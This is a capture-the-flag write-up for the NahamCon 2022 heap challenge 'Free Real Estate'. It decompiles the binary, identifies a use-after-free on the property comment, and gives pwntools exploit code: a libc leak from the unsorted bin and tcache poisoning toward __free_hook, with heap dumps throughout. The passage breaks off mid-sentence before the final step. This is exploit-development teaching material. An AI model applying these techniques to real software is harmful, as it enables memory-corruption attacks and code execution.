I tried to spend my saturday to do the NahamCon CTF 2022, but I had a lot of events during the day, so I plan to look at 3-5 problems. At the end, I could only solve one problem that I looked first, because it turns out to be pretty hard for me. I’m still new to this, so I would like to apologize in advance if there is wrong or misleading information stated in here. Feel free to contact me if you find mistakes in my writeup. Cheers 🍻
Pwn
Free Real Estate
Intro
We were given two files, the Dockerfile
and a binary called free_real_estate
. Let’s try to run the binary first.
1
2
3
4
5
6
7
8
9
10
11
12
|
./free_real_estate
Enter your name: lmao
Hello: lmao!
[1] Show property
[2] Add property
[3] Remove property
[4] Edit property
[5] Change name
[6] Exit
>
|
Seems like we will be working with heap
(Well, the name of the challenge is free though)
Initial Analysis
Let’s grab the libc file first by turning up the docker based on the given Dockerfile
. Checking on the libc file, the glibc is glibc-2.31
, which mean we couldn’t do double free.
Checksec of the binary:
1
2
3
4
5
|
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
|
Now, turning up our decompiler, let’s try to decompile it and breakdown some important functions.
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
undefined8 main(void)
{
bool bVar1;
char *pcVar2;
undefined4 uVar3;
size_t sVar4;
bVar1 = false;
setbuf(stdin,(char *)0x0);
setbuf(stdout,(char *)0x0);
printf("Enter your name: ");
username._8_8_ = getline((char **)username,(size_t *)(username + 8),stdin);
pcVar2 = username._0_8_;
sVar4 = strcspn(username._0_8_,"\n");
pcVar2[sVar4] = '\0';
username._8_8_ = username._8_8_ + -1;
printf("Hello: %s!\n\n",username._0_8_);
while (!bVar1) {
uVar3 = menu();
switch(uVar3) {
case 0:
if (property == 0) {
puts("You do not own any property.");
}
else {
show_property();
}
break;
case 1:
if (property == 0) {
add_property();
}
else {
puts("You already own property.");
}
break;
case 2:
if (property == 0) {
puts("You do not own any property.");
}
else {
remove_property();
}
break;
case 3:
if (property == 0) {
puts("You do not own any property.");
}
else {
edit_property();
}
break;
case 4:
change_name();
break;
default:
bVar1 = true;
}
puts("");
}
return 0;
}
|
Okay, so we have like 5 functions that we can use, and we can only add property only after removing it.
add_property
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
void add_property(void)
{
long lVar1;
void *pvVar2;
size_t sVar3;
long in_FS_OFFSET;
char local_21;
long local_20;
void *_property;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
local_21 = '\0';
property = malloc(0x40);
if (property == (void *)0x0) {
puts("Failed to allocate memory for the property");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("Enter the house number: ");
__isoc99_scanf(&fmt_d,(long)property + 0x18);
getchar();
printf("What is the length of the street name: ");
__isoc99_scanf(&fmt_zu);
getchar();
_property = property;
pvVar2 = malloc(*(long *)((long)property + 0x28) + 1);
*(void **)((long)_property + 0x20) = pvVar2;
if (*(long *)((long)property + 0x20) == 0) {
puts("Failed to allocate memory for the street name");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("Enter the street name: ");
fgets(*(char **)((long)property + 0x20),(int)*(undefined8 *)((long)property + 0x28),stdin);
lVar1 = *(long *)((long)property + 0x20);
sVar3 = strcspn(*(char **)((long)property + 0x20),"\n");
*(undefined *)(sVar3 + lVar1) = 0;
printf("What is the price of the property?: ");
__isoc99_scanf(&fmt_lf,(long)property + 0x10);
getchar();
printf("Would you like to add a comment for this property? [y/n]: ");
__isoc99_scanf(&DAT_00102133,&local_21);
getchar();
if (local_21 == 'y') {
printf("What is the length of the comment?: ");
__isoc99_scanf(&fmt_zu);
getchar();
_property = property;
pvVar2 = malloc(*(long *)((long)property + 0x38) + 1);
*(void **)((long)_property + 0x30) = pvVar2;
if (*(long *)((long)property + 0x30) == 0) {
puts("Failed to allocate memory for the comment");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("Enter the comment: ");
fgets(*(char **)((long)property + 0x30),(int)*(undefined8 *)((long)property + 0x38),stdin);
lVar1 = *(long *)((long)property + 0x30);
sVar3 = strcspn(*(char **)((long)property + 0x30),"\n");
*(undefined *)(sVar3 + lVar1) = 0;
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
|
Okay, so when we add a new property, important things that we do:
malloc(0x40)
for property
object
- We can malloc street name with any size
- And we store the given size inside the
property
object
- We can malloc comment with any size
- And we store the given size inside the
property
object
edit_property
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
|
void edit_property(void)
{
void *pvVar1;
size_t sVar2;
long in_FS_OFFSET;
char local_29;
ulong input_size;
long local_20;
long _property;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
local_29 = 'n';
input_size = 0;
printf("Would you like to change the house number? [y/n]: ");
__isoc99_scanf(&DAT_00102133,&local_29);
getchar();
if (local_29 == 'y') {
printf("Enter the new house number: ");
__isoc99_scanf(&fmt_d,property + 0x18);
getchar();
local_29 = 'n';
}
printf("Would you like to change the street? [y/n]: ");
__isoc99_scanf(&DAT_00102133,&local_29);
getchar();
if (local_29 == 'y') {
printf("Enter the new street name length: ");
__isoc99_scanf(&fmt_zu);
getchar();
if (*(ulong *)(property + 0x28) < input_size) {
free(*(void **)(property + 0x20));
_property = property;
pvVar1 = malloc(input_size + 1);
*(void **)(_property + 0x20) = pvVar1;
if (*(long *)(property + 0x20) == 0) {
puts("Failed to allocate memory for the street name");
/* WARNING: Subroutine does not return */
exit(1);
}
}
*(ulong *)(property + 0x28) = input_size;
printf("Enter the new street name: ");
fgets(*(char **)(property + 0x20),(int)*(undefined8 *)(property + 0x28),stdin);
_property = *(long *)(property + 0x20);
sVar2 = strcspn(*(char **)(property + 0x20),"\n");
*(undefined *)(sVar2 + _property) = 0;
local_29 = 'n';
}
printf("Would you like to change the price of the property? [y/n]: ");
__isoc99_scanf(&DAT_00102133,&local_29);
getchar();
if (local_29 == 'y') {
printf("What is the new price of the property?: ");
__isoc99_scanf(&fmt_lf,property + 0x10);
getchar();
local_29 = 'n';
}
if (*(long *)(property + 0x30) == 0) {
printf("Would you like to add a comment? [y/n]: ");
__isoc99_scanf(&DAT_00102133,&local_29);
getchar();
if (local_29 == 'y') {
printf("What is the length of the comment?: ");
__isoc99_scanf(&fmt_zu);
getchar();
_property = property;
pvVar1 = malloc(*(long *)(property + 0x38) + 1);
*(void **)(_property + 0x30) = pvVar1;
if (*(long *)(property + 0x30) == 0) {
puts("Failed to allocate memory for the comment");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("Enter the comment: ");
fgets(*(char **)(property + 0x30),(int)*(undefined8 *)(property + 0x38),stdin);
_property = *(long *)(property + 0x30);
sVar2 = strcspn(*(char **)(property + 0x30),"\n");
*(undefined *)(sVar2 + _property) = 0;
}
}
else {
printf("Would you like to change the comment? [y/n]: ");
__isoc99_scanf(&DAT_00102133,&local_29);
getchar();
if (local_29 == 'y') {
printf("Enter the new comment length: ");
__isoc99_scanf(&fmt_zu);
getchar();
if (*(ulong *)(property + 0x38) < input_size) {
free(*(void **)(property + 0x30));
_property = property;
pvVar1 = malloc(input_size + 1);
*(void **)(_property + 0x30) = pvVar1;
if (*(long *)(property + 0x30) == 0) {
puts("Failed to allocate memroy for the comment");
/* WARNING: Subroutine does not return */
exit(1);
}
}
*(ulong *)(property + 0x38) = input_size;
printf("Enter the new comment: ");
fgets(*(char **)(property + 0x30),(int)*(undefined8 *)(property + 0x38),stdin);
_property = *(long *)(property + 0x30);
sVar2 = strcspn(*(char **)(property + 0x30),"\n");
*(undefined *)(sVar2 + _property) = 0;
}
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
|
Okay, so what it do is:
- We can change all the metadata of property, with rules:
- If the new size is smaller than the stored size, it will:
- Directly replace the metadata values
- Store the new size inside
property
object
- If the new size is larger, it will:
- Free the chunk
- Alloc new chunk with new size
- Store the new size inside
property
object
show_property
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
void show_property(void)
{
puts("Your property info:\n");
printf("House number: %d\n",(ulong)*(uint *)(property + 0x18));
printf("Street name: %s\n",*(undefined8 *)(property + 0x20));
printf(*(char **)(property + 0x10),"Price: $%0.2f\n");
if ((*(long *)(property + 0x38) == 0) || (*(long *)(property + 0x30) == 0)) {
puts("No comment for the property.");
}
else {
printf("Comment: %s\n",*(undefined8 *)(property + 0x30));
}
return;
}
|
It just prints the property object metadata values
change_username
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
unsigned __int64 change_name()
{
char *v0; // rbx
size_t v2; // [rsp-28h] [rbp-28h]
unsigned __int64 v3; // [rsp-20h] [rbp-20h]
__asm { endbr64 }
v3 = __readfsqword(0x28u);
v2 = 0LL;
printf("What is the length of your new name?: ", 0LL);
__isoc99_scanf("%zu", &v2);
getchar();
if ( n < v2 )
{
free(username);
username = (char *)malloc(v2 + 1);
if ( !username )
{
puts("Failed to allocate memory");
exit(1);
}
}
n = v2;
printf("Enter your new name: ");
fgets(username, n, stdin);
v0 = username;
v0[strcspn(username, "\n")] = 0;
return __readfsqword(0x28u) ^ v3;
}
|
Similar to edit, it will check:
- If the new size is smaller than the stored size, it will:
- Directly replace the
username
values
- Store the new size inside
username
object
- If the new size is larger, it will:
- Free the chunk
- Alloc new chunk with new size
- Store the new size inside
username
object
remove_property
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
void remove_property(void)
{
if (*(long *)((long)property + 0x30) != 0) {
free(*(void **)((long)property + 0x30));
}
if (*(long *)((long)property + 0x20) != 0) {
free(*(void **)((long)property + 0x20));
*(undefined8 *)((long)property + 0x20) = 0;
}
free(property);
property = (void *)0x0;
return;
}
|
Wow, there is a bug on this method. What it do is basically:
- free(comment)
- free(street)
- free(property)
After reading all of those decompilations, we can notice a bug where the comment is not nulled after being freed. This means, if we:
- add property with comment
- remove property
- add property without comment
The latest property will still have comment (because property
still located in the same address due to cache), and its comment still points to the freed chunk. What if we do edit_property
on it? Basically we can forge the chunk metadata
Exploitation Plan
Okay, so important points that we can conclude from our initial analysis:
- We can malloc chunk with any size
- Hence, we can freed a chunk to unsorted bin by malloc large chunk
- There is Use-After-Free (UAF) bug on the
comment
, where we can see the freed chunk, and edit it via edit_property
Seems like the rough plan is pretty clear. We can leak libc address by leveraging the UAF bug in the comment
objectt. And then we need to be able to overwrite __free_hook
by system
to trigger a shell.
Solution
Okay, so now I will explain my solution on this challenge. Let’s define helper in our script first to help our life easier.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
def add_property(r, lsn, sn, lc, comment=''):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'Enter the house number: ', str(10).encode()) # Isn't useful. Just set any value.
r.sendlineafter(b'What is the length of the street name: ', str(lsn).encode())
r.sendlineafter(b'Enter the street name: ', sn)
r.sendlineafter(b'What is the price of the property?: ', str(10).encode()) # Isn't useful. Just set any value.
if lc == 0:
r.sendlineafter(b'Would you like to add a comment for this property? [y/n]: ', b'n')
else:
r.sendlineafter(b'Would you like to add a comment for this property? [y/n]: ', b'y')
r.sendlineafter(b'What is the length of the comment?: ', str(lc).encode())
r.sendlineafter(b'Enter the comment: ', comment)
def edit_property(r, lsn, sn, lc, comment='', change_comment=False, is_free_hook_overwritted=False):
r.sendlineafter(b'> ', b'4')
r.sendlineafter(b'Would you like to change the house number? [y/n]: ', b'n') # Isn't useful. No need to edit.
if lsn == 0:
r.sendlineafter(b'Would you like to change the street? [y/n]: ', b'n')
else:
r.sendlineafter(b'Would you like to change the street? [y/n]: ', b'y')
r.sendlineafter(b'Enter the new street name length: ', str(lsn).encode())
r.sendlineafter(b'Enter the new street name: ', sn)
r.sendlineafter(b'Would you like to change the price of the property? [y/n]: ', b'n') # Isn't useful. No need to edit.
if lc == 0:
r.sendlineafter(b'Would you like to change the comment? [y/n]: ', b'n')
else:
if not change_comment:
r.sendlineafter(b'Would you like to add a comment for this property? [y/n]: ', b'y')
r.sendlineafter(b'What is the length of the comment?: ', str(lc).encode())
r.sendlineafter(b'Enter the comment: ', comment)
else:
r.sendlineafter(b'Would you like to change the comment? [y/n]: ', b'y')
r.sendlineafter(b'Enter the new comment length: ', str(lc).encode())
if is_free_hook_overwritted:
# No need to enter new comment, as we have overwritten it with system
return
r.sendlineafter(b'Enter the new comment: ', comment)
def remove_property(r):
r.sendlineafter(b'> ', b'3')
def show_property(r):
r.sendlineafter(b'> ', b'1')
r.recvline().strip()
r.recvline().strip()
r.recvline().strip()
r.recvline().strip()
r.recvline().strip()
comment = r.recvline().strip().split(b': ')[1] # We only care the comment value
return comment
def change_username(r, ln, name):
r.sendlineafter(b'> ', b'5')
r.sendlineafter(b'What is the length of your new name?: ', str(ln).encode())
r.sendlineafter(b'Enter your new name: ', name)
|
Part 1: Leak Libc Address
Okay, so now let’s try to fire up our GDB to have a better visualization on the heap. Let’s start the program by initializing our name
1
2
3
4
5
|
r = conn()
# After first connection, by default the binary will call malloc(0x40)
# and use this heap chunk for property variable
r.sendlineafter(b'Enter your name: ', p64(0xdeadbeef))
|
Below is the heap after we initialize our name
1
2
3
4
5
6
7
8
9
|
0x55802d04d290 0x0000000000000000 0x0000000000000081 ................
0x55802d04d2a0 0x00000000deadbeef 0x000000000000000a ................
0x55802d04d2b0 0x0000000000000000 0x0000000000000000 ................
0x55802d04d2c0 0x0000000000000000 0x0000000000000000 ................
0x55802d04d2d0 0x0000000000000000 0x0000000000000000 ................
0x55802d04d2e0 0x0000000000000000 0x0000000000000000 ................
0x55802d04d2f0 0x0000000000000000 0x0000000000000000 ................
0x55802d04d300 0x0000000000000000 0x0000000000000000 ................
0x55802d04d310 0x0000000000000000 0x0000000000020cf1 ................ <-- Top chunk
|
Now, we need to free a chunk to unsorted bin. Simply malloc a large chunk and free it.
1
2
3
|
add_property(r, 0x10, b'lmao', 0x427, b'lmao')
edit_property(r, 0x20, b'lmao', 0)
remove_property(r)
|
What we want to achieve on here is:
- Create a large chunk in
comment
- Alloc a new chunk below it to prevent consolidation
- Freed all the object
After freed all the object, we will have:
- 1 chunk inside unsorted_bin (
comment
)
- 1 chunk inside tcache[0x20] (
added street
)
- 1 chunk inside tcache[0x30] (
edited street
)
- 1 chunk inside tcache[0x50] (
property
)
Below is the current heap and bins:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
0x55802d04d290 0x0000000000000000 0x0000000000000081
0x55802d04d2a0 0x00000000deadbeef 0x000000000000000a
0x55802d04d2b0 0x0000000000000000 0x0000000000000000
0x55802d04d2c0 0x0000000000000000 0x0000000000000000
0x55802d04d2d0 0x0000000000000000 0x0000000000000000
0x55802d04d2e0 0x0000000000000000 0x0000000000000000
0x55802d04d2f0 0x0000000000000000 0x0000000000000000
0x55802d04d300 0x0000000000000000 0x0000000000000000
0x55802d04d310 0x0000000000000000 0x0000000000000051
0x55802d04d320 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0x50][0/1]
0x55802d04d330 0x4024000000000000 0x000000000000000a
0x55802d04d340 0x0000000000000000 0x0000000000000020
0x55802d04d350 0x000055802d04d390 0x0000000000000427
0x55802d04d360 0x0000000000000000 0x0000000000000021
0x55802d04d370 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0x20][0/1]
0x55802d04d380 0x0000000000000000 0x0000000000000431 <-- unsortedbin[all][0]
0x55802d04d390 0x00007fe1975bfbe0 0x00007fe1975bfbe0
...
0x55802d04d7b0 0x0000000000000430 0x0000000000000030
0x55802d04d7c0 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0x30][0/1]
0x55802d04d7d0 0x0000000000000000 0x0000000000000000
0x55802d04d7e0 0x0000000000000000 0x0000000000020821 <-- Top chunk
|
It’s time to leak the libc address.
1
2
3
4
5
6
7
8
9
10
|
add_property(r, 0x10, b'lmao', 0)
leaked_libc = u64(show_property(r).ljust(8, b'\x00'))
log.info(f'leaked_libc: {hex(leaked_libc)}')
libc_base = leaked_libc - main_arena - 0x60
log.info(f'libc_base: {hex(libc_base)}')
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
log.info(f'__free_hook@libc: {hex(free_hook)}')
log.info(f'system@libc: {hex(system)}')
|
We simply create a new property without comment, and call show_property
. I use 0x10
for the street size in order to make sure that the malloc
call is used the available tcache (tcache[0x20]) instead of consuming our unsorted bin chunk. See below heap after we add the new property:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
0x55802d04d310 0x0000000000000000 0x0000000000000051
0x55802d04d320 0x0000000000000000 0x0000000000000000
0x55802d04d330 0x4024000000000000 0x000000000000000a
0x55802d04d340 0x000055802d04d370 0x0000000000000010
0x55802d04d350 0x000055802d04d390 0x0000000000000427
0x55802d04d360 0x0000000000000000 0x0000000000000021
0x55802d04d370 0x000000006f616d6c 0x0000000000000000
0x55802d04d380 0x0000000000000000 0x0000000000000431 <-- unsortedbin[all][0]
0x55802d04d390 0x00007fe1975bfbe0 0x00007fe1975bfbe0
... <-- comment is pointing to this
0x55802d04d7b0 0x0000000000000430 0x0000000000000030
0x55802d04d7c0 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0x30][0/1]
0x55802d04d7d0 0x0000000000000000 0x0000000000000000
0x55802d04d7e0 0x0000000000000000 0x0000000000020821 <-- Top chunk
|
You can see that comment is pointing to 0x55802d04d390
, and then because comment is now a freed chunk inside unsorted bin, and its point to the libc main_arena+0x60
, we will be able to retrieve the libc address of the current program.
Part 2: Overwrite __free_hook
Moving on to the next step, we will try to overwrite the __free_hook
with system
. We need to clean up our property
first. To prevent double free happen during remove_property
, we need to make the comment
object is not a freed chunk. I use change_username
to fill up the comment
object.
1
2
|
change_username(r, 0x427, b'lmao')
remove_property(r)
|
Basically, now the username
object and the comment
object points to the same address. This is very good for us, because both of them are now pointing to the same freed chunk of unsorted bin.
Remember that, if we call change_username
with smaller STORED size (which is 0x427+1 in this case), the method will directly replace the values without doing free
& malloc
. Due to how the glibc works, now, if we try to allocate chunk with rules:
- Size is smaller than unsorted bin
- No available tcache with the desired allocated size
It will used the unsorted bin by allocating it in the top of the unsorted bin chunk, and reduce its size. See below illustration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
Let say we have heap like below
0x557b64aef380 0x0000000000000000 0x0000000000000431 <-- unsortedbin[all][0]
0x557b64aef390 0x0000000000000000 0x0000000000000000
0x557b64aef3a0 0x0000000000000000 0x0000000000000000
0x557b64aef3b0 0x0000000000000000 0x0000000000000000
0x557b64aef3c0 0x0000000000000000 0x0000000000000000
0x557b64aef3d0 0x0000000000000000 0x0000000000000000
...
If tcache[0x20] is empty, and we want to allocate 0x20 chunk, it will use the top chunk of the unsorted bin.
0x557b64aef380 0x0000000000000000 0x0000000000000021 <-- new allocated chunk
0x557b64aef390 0x0000000000000000 0x0000000000000000
0x557b64aef3a0 0x0000000000000000 0x0000000000000411 <-- unsortedbin[all][0]
0x557b64aef3b0 0x0000000000000000 0x0000000000000000
0x557b64aef3c0 0x0000000000000000 0x0000000000000000
0x557b64aef3d0 0x0000000000000000 0x0000000000000000
...
|
Now, we know that username
address is actually pointing to the top of the old unsorted bin chunk (0x431 size), and then after lot of allocations, the username
will still points to the same address. And the stored username
size is still the same (0x427+1).
Due to the fact that change_username
method allow us to directly replace the value if the given size is smaller than the stored
size, we are basically able to forge the chunk metadata which allocated between username_address
and username_address + 0x427
Now, let’s try to implement that
1
2
|
add_property(r, 0x89, b'lmao', 0x20, b'lmao')
remove_property(r)
|
After those code, username
and comment
won’t point to the same. Current heap state:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
0x55802d04d310 0x0000000000000000 0x0000000000000051 <-- property
0x55802d04d320 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0x50][0/1]
0x55802d04d330 0x4024000000000000 0x000000000000000a
0x55802d04d340 0x0000000000000000 0x0000000000000089
0x55802d04d350 0x000055802d04d7c0 0x0000000000000020
0x55802d04d360 0x0000000000000000 0x0000000000000021
0x55802d04d370 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0x20][0/1]
0x55802d04d380 0x0000000000000000 0x00000000000000a1
0x55802d04d390 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0xa0][0/1], username
0x55802d04d3a0 0x000055802d04d380 0x000055802d04d380
0x55802d04d3b0 0x0000000000000000 0x0000000000000000
0x55802d04d3c0 0x0000000000000000 0x0000000000000000
0x55802d04d3d0 0x0000000000000000 0x0000000000000000
0x55802d04d3e0 0x0000000000000000 0x0000000000000000
0x55802d04d3f0 0x0000000000000000 0x0000000000000000
0x55802d04d400 0x0000000000000000 0x0000000000000000
0x55802d04d410 0x0000000000000000 0x0000000000000000
0x55802d04d420 0x0000000000000000 0x0000000000000391 <-- unsortedbin[all][0]
0x55802d04d430 0x00007fe1975bfbe0 0x00007fe1975bfbe0
...
0x55802d04d7b0 0x0000000000000390 0x0000000000000030
0x55802d04d7c0 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0x30][0/1], comment
0x55802d04d7d0 0x0000000000000000 0x0000000000000000
0x55802d04d7e0 0x0000000000000000 0x0000000000020821 <-- Top chunk
|
Notes that username
still points to 0x55802d04d390
, and now comment
points to 0x55802d04d7c0
.
Notice that due to the freed comment
chunk is not nulled by remove_property
, not only we can leak the freed chunk content, we can also overwrite it via edit_property
.
So we plan to overwrite the __free_hook
via edit_property
on the comment
. I plan to forge tcache[0x60] linked list (because we don’t have any tcache[0x60] yet, so when we allocate it, it will still consume our unsorted bin chunk), to point it to the __free_hook
. Let’s try to do that.
1
2
3
|
add_property(r, 0x49, b'lmao', 0x49, b'lmao')
edit_property(r, 0x59, b'lmao', 0)
remove_property(r)
|
Basically, what we do here is we try to allocate two chunk with 0x60 size (street
and comment
). We want our comment
chunk got freed in the last due to the fact that tcache is LIFO (Last-In-First-Out). So, in order to do that, use edit_property
to free the street
0x60 chunk, and then call remove_property
to free the comment
0x60 chunk. Current heap state:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
0x55802d04d310 0x0000000000000000 0x0000000000000051
0x55802d04d320 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0x50][0/1]
0x55802d04d330 0x4024000000000000 0x000000000000000a
0x55802d04d340 0x0000000000000000 0x0000000000000059
0x55802d04d350 0x000055802d04d490 0x0000000000000049
0x55802d04d360 0x0000000000000000 0x0000000000000021
0x55802d04d370 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0x20][0/1]
0x55802d04d380 0x0000000000000000 0x00000000000000a1
0x55802d04d390 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0xa0][0/1]
0x55802d04d3a0 0x000055802d04d380 0x000055802d04d380
0x55802d04d3b0 0x0000000000000000 0x0000000000000000
0x55802d04d3c0 0x0000000000000000 0x0000000000000000
0x55802d04d3d0 0x0000000000000000 0x0000000000000000
0x55802d04d3e0 0x0000000000000000 0x0000000000000000
0x55802d04d3f0 0x0000000000000000 0x0000000000000000
0x55802d04d400 0x0000000000000000 0x0000000000000000
0x55802d04d410 0x0000000000000000 0x0000000000000000
0x55802d04d420 0x0000000000000000 0x0000000000000061
0x55802d04d430 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0x60][1/2]
0x55802d04d440 0x0000000000000000 0x0000000000000000
0x55802d04d450 0x0000000000000000 0x0000000000000000
0x55802d04d460 0x0000000000000000 0x0000000000000000
0x55802d04d470 0x0000000000000000 0x0000000000000000
0x55802d04d480 0x0000000000000000 0x0000000000000061
0x55802d04d490 0x000055802d04d430 0x000055802d04d010 <-- tcachebins[0x60][0/2]
0x55802d04d4a0 0x0000000000000000 0x0000000000000000
0x55802d04d4b0 0x0000000000000000 0x0000000000000000
0x55802d04d4c0 0x0000000000000000 0x0000000000000000
0x55802d04d4d0 0x0000000000000000 0x0000000000000000
0x55802d04d4e0 0x0000000000000000 0x0000000000000071
0x55802d04d4f0 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0x70][0/1]
0x55802d04d500 0x0000000000000000 0x0000000000000000
0x55802d04d510 0x0000000000000000 0x0000000000000000
0x55802d04d520 0x0000000000000000 0x0000000000000000
0x55802d04d530 0x0000000000000000 0x0000000000000000
0x55802d04d540 0x0000000000000000 0x0000000000000000
0x55802d04d550 0x0000000000000000 0x0000000000000261 <-- unsortedbin[all][0]
0x55802d04d560 0x00007fe1975bfbe0 0x00007fe1975bfbe0
...
0x55802d04d7b0 0x0000000000000260 0x0000000000000030
0x55802d04d7c0 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0x30][0/1]
0x55802d04d7d0 0x0000000000000000 0x0000000000000000
0x55802d04d7e0 0x0000000000000000 0x0000000000020821 <-- Top chunk
|
Notice that our comment
will determine the next tcache[0x60] pointer. Current bins:
1
2
|
tcachebins
0x60 [ 2]: 0x55802d04d490 —▸ 0x55802d04d430 ◂— 0x0
|
It’s time to forge the tcache[0x60] linked list
1
2
|
add_property(r, 0x20, b'lmao', 0)
edit_property(r, 0, b'lmao', 0x20, p64(free_hook), True)
|
What we do here is create a new property without comment, and then overwrite the value with the __free_hook
address. Assign smaller size than the stored size of comment (0x49) to make sure that the edit_property
directly edit the comment
value. Now, the bins will be like below:
1
2
|
tcachebins
0x60 [ 2]: 0x55802d04d490 —▸ 0x7fe1975c1e48 (__free_hook) ◂— 0x0
|
Current heap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
0x55802d04d310 0x0000000000000000 0x0000000000000051
0x55802d04d320 0x0000000000000000 0x0000000000000000
0x55802d04d330 0x4024000000000000 0x000000000000000a
0x55802d04d340 0x000055802d04d7c0 0x0000000000000020
0x55802d04d350 0x000055802d04d490 0x0000000000000020
0x55802d04d360 0x0000000000000000 0x0000000000000021
0x55802d04d370 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0x20][0/1]
0x55802d04d380 0x0000000000000000 0x00000000000000a1
0x55802d04d390 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0xa0][0/1]
0x55802d04d3a0 0x000055802d04d380 0x000055802d04d380
0x55802d04d3b0 0x0000000000000000 0x0000000000000000
0x55802d04d3c0 0x0000000000000000 0x0000000000000000
0x55802d04d3d0 0x0000000000000000 0x0000000000000000
0x55802d04d3e0 0x0000000000000000 0x0000000000000000
0x55802d04d3f0 0x0000000000000000 0x0000000000000000
0x55802d04d400 0x0000000000000000 0x0000000000000000
0x55802d04d410 0x0000000000000000 0x0000000000000000
0x55802d04d420 0x0000000000000000 0x0000000000000061
0x55802d04d430 0x0000000000000000 0x000055802d04d010
0x55802d04d440 0x0000000000000000 0x0000000000000000
0x55802d04d450 0x0000000000000000 0x0000000000000000
0x55802d04d460 0x0000000000000000 0x0000000000000000
0x55802d04d470 0x0000000000000000 0x0000000000000000
0x55802d04d480 0x0000000000000000 0x0000000000000061
0x55802d04d490 0x00007fe1975c1e48 0x000055802d04000a <-- tcachebins[0x60][0/2]
0x55802d04d4a0 0x0000000000000000 0x0000000000000000
0x55802d04d4b0 0x0000000000000000 0x0000000000000000
0x55802d04d4c0 0x0000000000000000 0x0000000000000000
0x55802d04d4d0 0x0000000000000000 0x0000000000000000
0x55802d04d4e0 0x0000000000000000 0x0000000000000071
0x55802d04d4f0 0x0000000000000000 0x000055802d04d010 <-- tcachebins[0x70][0/1]
0x55802d04d500 0x0000000000000000 0x0000000000000000
0x55802d04d510 0x0000000000000000 0x0000000000000000
0x55802d04d520 0x0000000000000000 0x0000000000000000
0x55802d04d530 0x0000000000000000 0x0000000000000000
0x55802d04d540 0x0000000000000000 0x0000000000000000
0x55802d04d550 0x0000000000000000 0x0000000000000261 <-- unsortedbin[all][0]
0x55802d04d560 0x00007fe1975bfbe0 0x00007fe1975bfbe0
...
0x55802d04d7b0 0x0000000000000260 0x0000000000000030
0x55802d04d7c0 0x000000006f616d6c 0x0000000000000000
0x55802d04d7d0 0x0000000000000000 0x0000000000000000
0x55802d04d7e0 0x0000000000000000 0x0000000000020821 <-- Top chunk
|
Next step would be we need to consecutively alloc 0x60 chunks. Okay, so now, let’s call edit_property
to change the street name.
1
|
edit_property(r, 0x49, b'a'*0x8, 0)
|
By doing that, now the bins will be like below:
1
2
|
tcachebins
0x60 [ 1]: 0x7fe1975c1e48 (__free_hook) ◂— 0x0
|
Also now, street
and comment
point to the same address (Because comment
is a freed chunk, and during street
call malloc, the comment
chunk is used).
We are very close to solve this problem. Now, we need to do another malloc to be able overwrite the __free_hook
. But unfortunately, both of the street
and comment
object size is already 0x60, and we can’t malloc them without freeing the 0x60 chunk.
Here where username
